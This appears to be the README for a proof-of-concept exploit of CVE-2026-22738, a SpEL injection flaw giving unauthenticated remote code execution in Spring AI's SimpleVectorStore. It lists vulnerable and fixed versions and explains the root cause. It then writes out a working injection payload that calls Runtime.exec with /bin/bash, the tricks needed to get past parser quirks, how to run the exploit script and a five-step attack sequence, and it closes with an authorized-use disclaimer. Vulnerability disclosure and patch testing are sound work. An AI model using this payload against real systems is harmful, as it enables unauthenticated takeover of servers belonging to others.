
Proof-of-concept exploit for CVE-2026-22738, a critical SpEL injection RCE in Spring AI SimpleVectorStore, demonstrating unauthenticated OS command execution.
Unauthenticated remote code execution via Spring Expression Language (SpEL) injection in SimpleVectorStore.similaritySearch().
| Artifact | Vulnerable | Fixed |
|---|
org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 |
org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 |
Fix commit: ba9220b22383e430d5f801ce8e4fa01cf9e75f29
SimpleVectorStore.similaritySearch() passes the caller-supplied filter key name verbatim into a SpEL template evaluated by StandardEvaluationContext. Because StandardEvaluationContext exposes the full JVM reflection API, an attacker can inject:
T(java.lang.Runtime).getRuntime().exec(...)
into the filter key to achieve unauthenticated OS command execution.
Naïve injection does not work out of the box — two parser quirks must be navigated:
' is treated as a quoted string; the outer quotes are stripped, mangling the payload."..." causes the parser to strip the outer double-quotes, leaving the inner SpEL expression intact as the key value passed to #metadata['<KEY>'].#metadata[''] on both sides of the injected expression (instead of an undefined variable) avoids an unknown variable SpEL error while still triggering exec().The resulting evaluated expression takes the form:
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'
The HTTP response body will contain EL1030E — the SpEL runtime error:
operator ADD not supported between null and java.lang.ProcessImpl
This error is raised after exec() returns, confirming OS-level command execution without requiring an out-of-band callback.
Prerequisites:
pip install requests
Run the exploit:
python3 exploit.py [--target http://localhost:8082] [--wait]

Docker Desktop (macOS/Windows): use host.docker.internal instead of 127.0.0.1 for callback payloads.
The PoC runs five sequential steps:
| Step | Description |
|---|---|
| 1 | Baseline check — confirm the endpoint is reachable and returns seeded data |
| 2 | Blind SpEL probe — read java.version via T(java.lang.System) to confirm injection point |
| 3 | RCE: touch /tmp/pwned_cve_2026_22738 inside the container |
| 4 | RCE: write id / uname / hostname output to /tmp/rce_proof.txt |
| 5 | Verify via docker exec — print proof file contents |
This proof-of-concept is provided for educational and authorized security testing purposes only. Do not use against systems you do not own or have explicit written permission to test.